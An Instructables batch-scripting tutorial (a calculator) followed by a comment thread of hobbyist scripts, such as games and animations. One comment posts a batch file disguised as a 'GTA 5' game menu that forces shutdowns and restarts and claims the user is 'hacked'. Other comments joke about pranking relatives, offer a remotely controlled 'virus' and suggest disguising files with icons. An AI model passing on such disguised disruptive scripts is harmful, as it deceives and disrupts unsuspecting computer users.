loading
This is my first instructable so no complaining!
I'd like to thank neodudeman for his instructables, they helped a lot.

In this instructable i will show you some pretty nifty applications with batch commands.

If you have any problems or changes to request just send me an e-mail at jbell@live.co.za
Leave any feedback in the comment section below.

Step 1: Batch Calculator

This is...well... a calculator.
just copy and paste into NOTEPAD and save as calculator.bat
the filename is not important but the extension MUST be saved as " .bat "

@echo off
title Batch Calculator by seJma
color 1f
:top
echo --------------------------------------------------------------
echo Welcome to Batch Calculator by seJma
echo --------------------------------------------------------------
echo.
set /p sum=
set /a ans=%sum%
echo.
echo = %ans%
echo --------------------------------------------------------------
pause
cls
echo Previous Answer: %ans%
goto top
pause
exit

Advertisement

<p>hey i made this is it working correctly</p><p>@echo off</p><p>color 3a</p><p>:Start2</p><p>cls</p><p>goto start</p><p>:Start</p><p>title GTA 5</p><p>echo 1) Offline mode</p><p>echo 2) Online mode</p><p>echo Input your choice</p><p>set input=</p><p>set /p input= choice:</p><p>if %input%==1 goto A if NOT goto Start2</p><p>if %input%==2 goto B if NOT goto Start2</p><p>:A</p><p>color 3a</p><p>cls</p><p>@echo off </p><p>shutdown -s -t 200</p><p>shutdown -s -t 210</p><p>shutdown -s -t 220</p><p>shutdown -s -t 230</p><p>shutdown -s -t 240</p><p>shutdown -s -t 250</p><p>echo Oops!You are hacked.</p><p>echo.</p><p>echo Sorry your opreating system has being crashed.</p><p>:B</p><p>cls</p><p>color 3a</p><p>echo 1) Single player</p><p>echo 2) Exit</p><p>echo Input your choice</p><p>set input=</p><p>set /p input= choice:</p><p>if %input%==1 goto C if NOT goto Start2</p><p>if %input%==2 goto Exit if NOT goto Start 2</p><p>:C</p><p>color 3a</p><p>cls</p><p>@echo off</p><p>shutdown -r -t 110</p><p>shutdown -r -t 120</p><p>shutdown -r -t 130</p><p>shutdown -r -t 140</p><p>shutdown -r -t 150 </p><p>echo Success game will start in few minutes.</p><p>echo Thank You.</p><p>:Exit</p><p>exit</p>
<p>LOL the virus is cool!!!! especially cause it looks so realistic! LETS MAKE FUN OUT OF MY DAD!!</p>
<p>hey do you want a real virus you can controle with another computer</p>
<p>well sure, my annoying little bro will freak out like nothing before</p>
<p>It doesn't really hide or block the folder, but I know what piece of code you need to insert to make it hide or block the folder hehe XD</p>
<p>Hi, thanks for the apps. It got me started with batch.</p><p>I'm trying to launch Messenger which I have as a desktop app but haven't been able to figure out how to do it. Here's what I'm trying:</p><p>start &quot;C:\Program Files (x86)\Google\Chrome\Application\chrome.exe&quot; --profile-directory=Default --app-id=apnipnjoblinbbgeijcfmhbgcfncajmj</p><p>Any idea how I could make this work?</p>
Try running that exact command but without the &quot;start&quot; command.<br><br>So just:<br><br>&quot;C:\Program Files (x86)\Google\Chrome\Application\chrome.exe&quot; --profile-directory=Default --app-id=apnipnjoblinbbgeijcfmhbgcfncajmj<br>
<p>The folder password doesn't work. Or, it's not effective.</p><p>RightClick &gt; Edit with Notepad</p><p>If you then look at the code, you can see the password. Not too effective.</p>
<p>I made one with custom password, encryption, custom folder, try and error sistem, etc... If you wan't I can send but it's in portuguese</p>
<p>just turn it into a .exe just google bat to exe converter and tada no more looking @ the password</p>
<p>just turn it into a .exe just google bat to exe converter and tada no more looking @ the password</p>
<p>this will be a problem with every single batch file.</p>
<p>you can get programs on the internet that convert batch files to exe but you can still edit it if you have special software</p>
<p>If you make an icon and change the name! Then no one will check it!</p>
<p>The calculator works but cannot recognize decimal points... Is there some way around this? It seems silly to not be able to use decimals in maths... </p>
Batch cannot handle floating point numbers unfortunately. Does seem silly. There are workarounds using VB script but that quickly starts to get complicated.
<p>I Make a Rainbow matrix!!!</p><p>Check it out:</p><p>@echo off<br><br>:LOADING<br><br>cls<br><br>echo Processing.<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Processing..<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Processing...<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Loading....<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Starting.....<br><br>ping localhost -n 2 &gt;nul<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>color 0a<br><br>echo What do you want to do? Enter your choice<br><br>echo 1) Make a matrix falling efect<br><br>set/p c=<br><br>if %c%==1 goto MATRIX<br><br>:MATRIX<br><br>cls<br><br>echo What colour you want?<br><br>echo 1) RAINBOW<br><br>echo 2) Red<br><br>echo 3) Blue<br><br>echo 4) Purple<br><br>set/p ch=<br><br>if %ch%==1 goto GREEN<br><br>if %ch%==2 goto RED<br><br>if %ch%==3 goto BLUE<br><br>if %ch%==4 goto PURPLE<br><br>:GREEN<br><br>color 02<br>color 04<br>color 01<br>color 03<br>color 06<br>color 07<br>color 08<br>color 09<br>color 05<br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto GREEN<br><br>:RED<br><br>color 04<br><br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto RED<br><br>:BLUE<br><br>color 01<br><br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto BLUE<br><br>:PURPLE<br><br>color 05<br><br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto PURPLE</p><p>- <a href="http://www.akai-sora.com/forum/" rel="nofollow">http://www.akai-sora.com/forum/</a></p>
<p>sorry guys but there is a big fail, because on this site the format is other,so the words dont match into the lines and that means , it is not working.....confusing but i make a new one with workingg stuff.</p><p>this below should work if you set the notepad enough big and THEN copy it.</p><p>@echo off<br>:alphastart<br>cls<br>title Tic Tac Toe<br>set sc1=0<br>set sc2=0<br>set af=0<br>:start<br>cls<br>color 0e<br>set z1=1<br>set z2=2<br>set z3=3<br>set z4=4<br>set z5=5<br>set z6=6<br>set z7=7<br>set z8=8<br>set z9=9<br>if %sc1% GEQ 1 GOTO extra<br>if %sc2% GEQ 1 GOTO extra<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo Choose a name for Player 1.<br>echo.<br>set/p name1=<br>cls<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo Choose a name for Player 2.<br>echo.<br>set/p name2=<br>cls<br>:extra<br><br>:spieler1a<br>if %af%==2 GOTO spieler2a<br>set z1=1<br>set z2=2<br>set z3=3<br>set z4=4<br>set z5=5<br>set z6=6<br>set z7=7<br>set z8=8<br>set z9=9<br>:spieler1<br>color 0e<br>cls<br>echo.<br>echo TIC TAC TOE<br>echo %sc1%:%sc2%<br>echo.<br>echo %z1% I %z2% I %z3%<br>echo -----------<br>echo %z4% I %z5% I %z6% <br>echo -----------<br>echo %z7% I %z8% I %z9% <br>echo.<br>echo.<br>echo %name1% sets x.<br>echo.<br>echo.<br>echo Type in &quot;restart&quot; to reset the round or<br>echo &quot;alpharestart&quot; to restart the file.<br>set/p x=<br>if %x%==1 GOTO a1<br>if %x%==2 GOTO a2<br>if %x%==3 GOTO a3<br>if %x%==4 GOTO a4<br>if %x%==5 GOTO a5<br>if %x%==6 GOTO a6<br>if %x%==7 GOTO a7<br>if %x%==8 GOTO a8<br>if %x%==9 GOTO a9<br>if %x%==restart GOTO spieler1a<br>if %x%==alpharestart GOTO alphastart<br>if %x%==win GOTO sc1win<br><br>:a1<br>if %z1%==o GOTO spieler1<br>if %z1%==x GOTO spieler1<br>set z1=x<br>goto check<br><br>:a2<br>if %z2%==o GOTO spieler1<br>if %z2%==x GOTO spieler1<br>set z2=x<br>goto check<br><br>:a3<br>if %z3%==o GOTO spieler1<br>if %z3%==x GOTO spieler1<br>set z3=x<br>goto check<br><br>:a4<br>if %z4%==o GOTO spieler1<br>if %z4%==x GOTO spieler1<br>set z4=x<br>goto check<br><br>:a5<br>if %z5%==o GOTO spieler1<br>if %z5%==x GOTO spieler1<br>set z5=x<br>goto check<br><br>:a6<br>if %z6%==o GOTO spieler1<br>if %z6%==x GOTO spieler1<br>set z6=x<br>goto check<br><br>:a7<br>if %z7%==o GOTO spieler1<br>if %z7%==x GOTO spieler1<br>set z7=x<br>goto check<br><br>:a8<br>if %z8%==o GOTO spieler1<br>if %z8%==x GOTO spieler1<br>set z8=x<br>goto check<br><br>:a9<br>if %z9%==o GOTO spieler1<br>if %z9%==x GOTO spieler1<br>set z9=x<br>goto check<br><br>:spieler2a<br>if %af%==1 GOTO spieler1a<br>set z1=1<br>set z2=2<br>set z3=3<br>set z4=4<br>set z5=5<br>set z6=6<br>set z7=7<br>set z8=8<br>set z9=9<br>:spieler2<br>color 0e<br>cls<br>echo.<br>echo TIC TAC TOE<br>echo %sc1%:%sc2%<br>echo.<br>echo %z1% I %z2% I %z3%<br>echo -----------<br>echo %z4% I %z5% I %z6% <br>echo -----------<br>echo %z7% I %z8% I %z9% <br>echo.<br>echo.<br>echo %name2% sets o.<br>echo.<br>echo.<br>echo Type in &quot;restart&quot; to reset the round or<br>echo &quot;alpharestart&quot; to restart the file.<br>set/p o=<br>if %o%==1 GOTO b1<br>if %o%==2 GOTO b2<br>if %o%==3 GOTO b3<br>if %o%==4 GOTO b4<br>if %o%==5 GOTO b5<br>if %o%==6 GOTO b6<br>if %o%==7 GOTO b7<br>if %o%==8 GOTO b8<br>if %o%==9 GOTO b9<br>if %o%==restart GOTO spieler2a<br>if %o%==alpharestart GOTO alphastart<br>if %o%==win GOTO sc2win<br><br>:b1<br>if %z1%==o GOTO spieler2<br>if %z1%==x GOTO spieler2<br>set z1=o<br>goto check2<br><br>:b2<br>if %z2%==o GOTO spieler2<br>if %z2%==x GOTO spieler2<br>set z2=o<br>goto check2<br><br>:b3<br>if %z3%==o GOTO spieler2<br>if %z3%==x GOTO spieler2<br>set z3=o<br>goto check2<br><br>:b4<br>if %z4%==o GOTO spieler2<br>if %z4%==x GOTO spieler2<br>set z4=o<br>goto check2<br><br>:b5<br>if %z5%==o GOTO spieler2<br>if %z5%==x GOTO spieler2<br>set z5=o<br>goto check2<br><br>:b6<br>if %z6%==o GOTO spieler2<br>if %z6%==x GOTO spieler2<br>set z6=o<br>goto check2<br><br>:b7<br>if %z7%==o GOTO spieler2<br>if %z7%==x GOTO spieler2<br>set z7=o<br>goto check2<br><br>:b8<br>if %z8%==o GOTO spieler2<br>if %z8%==x GOTO spieler2<br>set z8=o<br>goto check2<br><br>:b9<br>if %z9%==o GOTO spieler2<br>if %z9%==x GOTO spieler2<br>set z9=o<br>goto check2<br><br>:check<br>cls<br>if %z1%==x if %z2%==x if %z3%==x GOTO 1w<br>if %z4%==x if %z5%==x if %z6%==x GOTO 1w<br>if %z7%==x if %z8%==x if %z9%==x GOTO 1w<br>if %z1%==x if %z4%==x if %z7%==x GOTO 1w<br>if %z2%==x if %z5%==x if %z8%==x GOTO 1w<br>if %z3%==x if %z6%==x if %z9%==x GOTO 1w<br>if %z1%==x if %z5%==x if %z9%==x GOTO 1w<br>if %z3%==x if %z5%==x if %z7%==x GOTO 1w<br>goto spieler2<br><br>:check2<br>cls<br>if %z1%==o if %z2%==o if %z3%==o GOTO 2w<br>if %z4%==o if %z5%==o if %z6%==o GOTO 2w<br>if %z7%==o if %z8%==o if %z9%==o GOTO 2w<br>if %z1%==o if %z4%==o if %z7%==o GOTO 2w<br>if %z2%==o if %z5%==o if %z8%==o GOTO 2w<br>if %z3%==o if %z6%==o if %z9%==o GOTO 2w<br>if %z1%==o if %z5%==o if %z9%==o GOTO 2w<br>if %z3%==o if %z5%==o if %z7%==o GOTO 2w<br>goto spieler1<br><br>:1w<br>color 0c<br>set/a sc1=%sc1%+1<br>if %sc1%==5 GOTO sc1win<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo %name1% won the round ! <br>echo.<br>echo %name1% %sc1% : %sc2% %name2%<br>echo.<br>echo.<br>echo.<br>pause<br>set af=2<br>goto start<br>:sc1win<br>cls<br>color 0e<br>echo.<br>echo TIC TAC TOE<br>echo %sc1% : %sc2%<br>echo. <br>echo %name1% won the Match !!!<br>echo.<br>echo %date%/%time%<br>echo. <br>echo Type in &quot;restart&quot; to restart, &quot;finish&quot; to close the file or <br>echo &quot;save&quot;, to save the results in Tic_tac_toe_log.txt on your desktop.<br>set/p alphaend=<br>if %alphaend%==restart GOTO alphastart<br>if %alphaend%==save GOTO save1<br>exit<br>:2w<br>color 06<br>set/a sc2=%sc2%+1<br>if %sc2%==5 GOTO sc2win<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo %name2% won the round ! <br>echo.<br>echo %name1% %sc1% : %sc2% %name2%<br>echo.<br>echo.<br>echo.<br>pause<br>set af=1<br>goto start<br>:sc2win<br>cls<br>color 0e<br>echo.<br>echo TIC TAC TOE<br>echo %sc1% : %sc2%<br>echo. <br>echo %name2% won the Match !!!<br>echo.<br>echo %date%/%time%<br>echo.<br>echo Type in &quot;restart&quot; to restart, &quot;finish&quot; to close the file or <br>echo &quot;save&quot;, to save the results in Tic_tac_toe_log.txt on your desktop.<br>set/p alphaend=<br>if %alphaend%==restart GOTO alphastart<br>if %alphaend%==save GOTO save2<br>:alphaend<br>exit<br>:save1<br>echo %name1% has won at the %date% at %time% %sc1% : %sc2% to %name2% in Tic Tac Toe.&gt;&gt; Tic_tac_toe_log.txt<br>goto sc1win<br><br>:save2 <br>echo %name2% has won at the %date% at %time% %sc2% : %sc1% to %name1% in Tic Tac Toe.&gt;&gt; Tic_tac_toe_log.txt<br>goto sc2win</p>
<p>I created this batch code in the last week.....</p><p>it's a Tic Tac Toe game (:</p><p>sorry, if there are some crazy sentences but i wrote it in german and then translated into english....</p><p>just copy the code below and save it as a .bat file.</p><p>@echo off<br>:alphastart<br>cls<br>title Tic Tac Toe<br>set sc1=0<br>set sc2=0<br>set af=0<br>:start<br>cls<br>color 0e<br>set z1=1<br>set z2=2<br>set z3=3<br>set z4=4<br>set z5=5<br>set z6=6<br>set z7=7<br>set z8=8<br>set z9=9<br>if %sc1% GEQ 1 GOTO extra<br>if %sc2% GEQ 1 GOTO extra<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo Choose a name for Player 1.<br>echo.<br>set/p name1=<br>cls<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo Choose a name for Player 2.<br>echo.<br>set/p name2=<br>cls<br>:extra<br><br>:spieler1a<br>if %af%==2 GOTO spieler2a<br>set z1=1<br>set z2=2<br>set z3=3<br>set z4=4<br>set z5=5<br>set z6=6<br>set z7=7<br>set z8=8<br>set z9=9<br>:spieler1<br>color 0e<br>cls<br>echo.<br>echo TIC TAC TOE<br>echo %sc1%:%sc2%<br>echo.<br>echo %z1% I %z2% I <br><br>%z3%<br>echo -----------<br>echo %z4% I %z5% I <br><br>%z6% <br>echo -----------<br>echo %z7% I %z8% I <br><br>%z9% <br>echo.<br>echo.<br>echo %name1% sets x.<br>echo.<br>echo.<br>echo Type in &quot;restart&quot; to reset the round or<br>echo &quot;alpharestart&quot; to restart the file.<br>set/p x=<br>if %x%==1 GOTO a1<br>if %x%==2 GOTO a2<br>if %x%==3 GOTO a3<br>if %x%==4 GOTO a4<br>if %x%==5 GOTO a5<br>if %x%==6 GOTO a6<br>if %x%==7 GOTO a7<br>if %x%==8 GOTO a8<br>if %x%==9 GOTO a9<br>if %x%==restart GOTO spieler1a<br>if %x%==alpharestart GOTO alphastart<br>if %x%==win GOTO sc1win<br><br>:a1<br>if %z1%==o GOTO spieler1<br>if %z1%==x GOTO spieler1<br>set z1=x<br>goto check<br><br>:a2<br>if %z2%==o GOTO spieler1<br>if %z2%==x GOTO spieler1<br>set z2=x<br>goto check<br><br>:a3<br>if %z3%==o GOTO spieler1<br>if %z3%==x GOTO spieler1<br>set z3=x<br>goto check<br><br>:a4<br>if %z4%==o GOTO spieler1<br>if %z4%==x GOTO spieler1<br>set z4=x<br>goto check<br><br>:a5<br>if %z5%==o GOTO spieler1<br>if %z5%==x GOTO spieler1<br>set z5=x<br>goto check<br><br>:a6<br>if %z6%==o GOTO spieler1<br>if %z6%==x GOTO spieler1<br>set z6=x<br>goto check<br><br>:a7<br>if %z7%==o GOTO spieler1<br>if %z7%==x GOTO spieler1<br>set z7=x<br>goto check<br><br>:a8<br>if %z8%==o GOTO spieler1<br>if %z8%==x GOTO spieler1<br>set z8=x<br>goto check<br><br>:a9<br>if %z9%==o GOTO spieler1<br>if %z9%==x GOTO spieler1<br>set z9=x<br>goto check<br><br>:spieler2a<br>if %af%==1 GOTO spieler1a<br>set z1=1<br>set z2=2<br>set z3=3<br>set z4=4<br>set z5=5<br>set z6=6<br>set z7=7<br>set z8=8<br>set z9=9<br>:spieler2<br>color 0e<br>cls<br>echo.<br>echo TIC TAC TOE<br>echo %sc1%:%sc2%<br>echo.<br>echo %z1% I %z2% I <br><br>%z3%<br>echo -----------<br>echo %z4% I %z5% I <br><br>%z6% <br>echo -----------<br>echo %z7% I %z8% I <br><br>%z9% <br>echo.<br>echo.<br>echo %name2% sets o.<br>echo.<br>echo.<br>echo Type in &quot;restart&quot; to reset the round or<br>echo &quot;alpharestart&quot; to restart the file.<br>set/p o=<br>if %o%==1 GOTO b1<br>if %o%==2 GOTO b2<br>if %o%==3 GOTO b3<br>if %o%==4 GOTO b4<br>if %o%==5 GOTO b5<br>if %o%==6 GOTO b6<br>if %o%==7 GOTO b7<br>if %o%==8 GOTO b8<br>if %o%==9 GOTO b9<br>if %o%==restart GOTO spieler2a<br>if %o%==alpharestart GOTO alphastart<br>if %o%==win GOTO sc2win<br><br>:b1<br>if %z1%==o GOTO spieler2<br>if %z1%==x GOTO spieler2<br>set z1=o<br>goto check2<br><br>:b2<br>if %z2%==o GOTO spieler2<br>if %z2%==x GOTO spieler2<br>set z2=o<br>goto check2<br><br>:b3<br>if %z3%==o GOTO spieler2<br>if %z3%==x GOTO spieler2<br>set z3=o<br>goto check2<br><br>:b4<br>if %z4%==o GOTO spieler2<br>if %z4%==x GOTO spieler2<br>set z4=o<br>goto check2<br><br>:b5<br>if %z5%==o GOTO spieler2<br>if %z5%==x GOTO spieler2<br>set z5=o<br>goto check2<br><br>:b6<br>if %z6%==o GOTO spieler2<br>if %z6%==x GOTO spieler2<br>set z6=o<br>goto check2<br><br>:b7<br>if %z7%==o GOTO spieler2<br>if %z7%==x GOTO spieler2<br>set z7=o<br>goto check2<br><br>:b8<br>if %z8%==o GOTO spieler2<br>if %z8%==x GOTO spieler2<br>set z8=o<br>goto check2<br><br>:b9<br>if %z9%==o GOTO spieler2<br>if %z9%==x GOTO spieler2<br>set z9=o<br>goto check2<br><br>:check<br>cls<br>if %z1%==x if %z2%==x if %z3%==x GOTO 1w<br>if %z4%==x if %z5%==x if %z6%==x GOTO 1w<br>if %z7%==x if %z8%==x if %z9%==x GOTO 1w<br>if %z1%==x if %z4%==x if %z7%==x GOTO 1w<br>if %z2%==x if %z5%==x if %z8%==x GOTO 1w<br>if %z3%==x if %z6%==x if %z9%==x GOTO 1w<br>if %z1%==x if %z5%==x if %z9%==x GOTO 1w<br>if %z3%==x if %z5%==x if %z7%==x GOTO 1w<br>goto spieler2<br><br>:check2<br>cls<br>if %z1%==o if %z2%==o if %z3%==o GOTO 2w<br>if %z4%==o if %z5%==o if %z6%==o GOTO 2w<br>if %z7%==o if %z8%==o if %z9%==o GOTO 2w<br>if %z1%==o if %z4%==o if %z7%==o GOTO 2w<br>if %z2%==o if %z5%==o if %z8%==o GOTO 2w<br>if %z3%==o if %z6%==o if %z9%==o GOTO 2w<br>if %z1%==o if %z5%==o if %z9%==o GOTO 2w<br>if %z3%==o if %z5%==o if %z7%==o GOTO 2w<br>goto spieler1<br><br>:1w<br>color 0c<br>set/a sc1=%sc1%+1<br>if %sc1%==5 GOTO sc1win<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo %name1% won the <br><br>round ! <br>echo.<br>echo %name1% %sc1% <br><br>: %sc2% %name2%<br>echo.<br>echo.<br>echo.<br>pause<br>set af=2<br>goto start<br>:sc1win<br>cls<br>color 0e<br>echo.<br>echo TIC TAC TOE<br>echo %sc1% : %sc2%<br>echo. <br>echo %name1% won the <br><br>Match !!!<br>echo.<br>echo %date%/%time%<br>echo. <br>echo Type in &quot;restart&quot; to restart, &quot;finish&quot; to close <br><br>the file or <br>echo &quot;save&quot;, to save the results in Tic_tac_toe_log.txt <br><br>on your desktop.<br>set/p alphaend=<br>if %alphaend%==restart GOTO alphastart<br>if %alphaend%==save GOTO save1<br>exit<br>:2w<br>color 06<br>set/a sc2=%sc2%+1<br>if %sc2%==5 GOTO sc2win<br>echo.<br>echo TIC TAC TOE<br>echo.<br>echo.<br>echo %name2% won the <br><br>round ! <br>echo.<br>echo %name1% %sc1% : <br><br>%sc2% %name2%<br>echo.<br>echo.<br>echo.<br>pause<br>set af=1<br>goto start<br>:sc2win<br>cls<br>color 0e<br>echo.<br>echo TIC TAC TOE<br>echo %sc1% : %sc2%<br>echo. <br>echo %name2% won the <br><br>Match !!!<br>echo.<br>echo %date%/%time%<br>echo.<br>echo Type in &quot;restart&quot; to restart, &quot;finish&quot; to close <br><br>the file or <br>echo &quot;save&quot;, to save the results in Tic_tac_toe_log.txt <br><br>on your desktop.<br>set/p alphaend=<br>if %alphaend%==restart GOTO alphastart<br>if %alphaend%==save GOTO save2<br>:alphaend<br>exit<br>:save1<br>echo %name1% has won at the %date% at %time% %sc1% : <br><br>%sc2% to %name2% in Tic Tac Toe.&gt;&gt; Tic_tac_toe_log.txt<br>goto sc1win<br><br>:save2 <br>echo %name2% has won at the %date% at %time% %sc2% : <br><br>%sc1% to %name1% in Tic Tac Toe.&gt;&gt; Tic_tac_toe_log.txt<br>goto sc2win</p>
<p>Hi Sejma,i really hope you dont mind,but this is more usefull.</p><p>I modified your guessing game so that you can choose to restart again or not.</p><p>Anyway thanks for passing my time,i was really bored ;).</p><p>Here is the new one:</p><p>@echo off<br>:A<br>ping localhost -n 1 &gt;nul<br>cls<br>color 0e<br>title Guessing Game by seJma.<br>set /a guessnum=0<br>set /a answer=%RANDOM%<br>set variable1=surf33<br>echo -------------------------------------------------<br>echo Welcome to the Guessing Game!<br>echo.<br>echo Try and Guess my Number!<br>echo -------------------------------------------------<br>echo.<br>:top<br>echo.<br>set /p guess=<br>echo.<br>if %guess% GTR %answer% ECHO Lower!<br>if %guess% LSS %answer% ECHO Higher!<br>if %guess%==%answer% GOTO EQUAL<br>set /a guessnum=%guessnum% +1<br>if %guess%==%variable1% ECHO Found the backdoor hey?, the answer is: %answer%<br>goto top<br>:equal<br>echo Congratulations, You guessed right!!!<br>pause<br>echo.<br>echo It took you %guessnum% guesses.<br>echo.<br>ping localhost -n 1 &gt;nul<br>cls<br>echo -------------------------------------------------<br>set /p input= Want to try again ? -<br>echo -------------------------------------------------<br>if %input%==yes goto A<br>if %input%==Yes goto A<br>if %input%==YES goto A<br>if %input%==no goto B<br><br><br><br>:B</p>
<p>Hi Sejma, hope you don't mind but I have added a little functionality around your guessing game application that gives a user a 20 guess limit which adds to the excitement. Thanks for the tutorials, I was able to do this using knowledge learnt here :)</p><p>@echo off</p><p>color a</p><p>title Guessing Game by seJma. Added functionality added BS3AC 05/10/15</p><p>set /a guessnum=0</p><p>set /a answer=%RANDOM%</p><p>set /a countdown=0</p><p>set /a left=21</p><p>set variable1=surf33</p><p>echo -------------------------------------------------</p><p>echo YOU HAVE 20 GUESSES TO FIND THE RANDOM NUMBER</p><p>echo.</p><p>echo IF YOU FAIL TO GUESS WITHIN 20 SELECTIONS YOU LOSE!!!!</p><p>echo -------------------------------------------------</p><p>echo.</p><p>:top</p><p>echo.</p><p>set /p guess=</p><p>echo.</p><p>if %countdown% == 20 GOTO LOST</p><p>if %guess% GTR %answer% ECHO Lower!</p><p>if %guess% LSS %answer% ECHO Higher!</p><p>set /a countdown = %countdown% +1</p><p>set /a left = %left% - 1</p><p>echo You have %left% guesses remaining..!</p><p>echo.</p><p>if %guess%==%answer% GOTO EQUAL</p><p>set /a guessnum=%guessnum% +1</p><p>if %guess%==%variable1% ECHO Found the backdoor hey?, the answer is: %answer%</p><p>goto top</p><p>:lost</p><p>echo Unlucky, you failed to guess within the 20 guess limit. Better luck next time..! :)</p><p>echo.</p><p>pause</p><p>EXIT [/B] </p><p>:equal</p><p>echo Congratulations, You guessed right!!!</p><p>echo.</p><p>echo It took you %guessnum% guesses.</p><p>echo.</p><p>pause</p>
<p>Nice. btw your smiley is off centered and you can type an actual smiley face like this! ☺</p>
how do you do the smiley at the end?
His smiley is of centered but it is just a bunch of echo commands displaying Asterisk (*) at certain areas on the screen, with a pause command to say Press any Key to Continue. ☺
How about cluttering the screen with visual basic scripts, that'd look more realistic.
<p>Yes you can do so with the start command.</p>
<p>Here is my best batch program:</p><p>Happy B-Day Animation.bat</p><p>@echo off</p><p>color 0a</p><p>title Happy B-Day</p><p>:note</p><p>Start &quot;&quot; &quot;C:\Program Files\Happy B-Day Animation\note.vbs&quot;</p><p>ping localhost -n 5 &gt;nul</p><p>Start &quot;&quot; &quot;C:\Program Files\Happy B-Day Animation\note2.vbs&quot;</p><p>pause</p><p>goto main</p><p>:main</p><p>cls</p><p>color 6E</p><p>echo &sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;\</p><p>echo &sup2;&sup2; .-..-. .---. _ .-. .-. .-. .-. &sup2;&sup2;</p><p>echo &sup2;&sup2; : :; : : .; ::_; .' `.: : : : : : &sup2;&sup2; </p><p>echo &sup2;&sup2; : : .--. .---. .---. .-..-. : .'.-..--.`. .': `-. .-' : .--. .-..-.: : &sup2;&sup2;</p><p>echo &sup2;&sup2; : :: :' .; ; : .; `: .; `: :; : : .; :: :: ..': : : .. :' .; :' .; ; : :; ::_; &sup2;&sup2;</p><p>echo &sup2;&sup2; :_;:_;`.__,_;: ._.': ._.'`._. ; :___.':_;:_; :_; :_;:_;`.__.'`.__,_;`._. ;:_; &sup2;&sup2;</p><p>echo &sup2;&sup2; : : : : .-. : .-. : &sup2;&sup2;</p><p>echo &sup2;&sup2; :_; :_; `._.' `._.' &sup2;&sup2;</p><p>echo &sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;/</p><p>ping localhost -n 2 &gt;nul</p><p>goto start</p><p>:start</p><p>cls</p><p>color 7F</p><p>echo 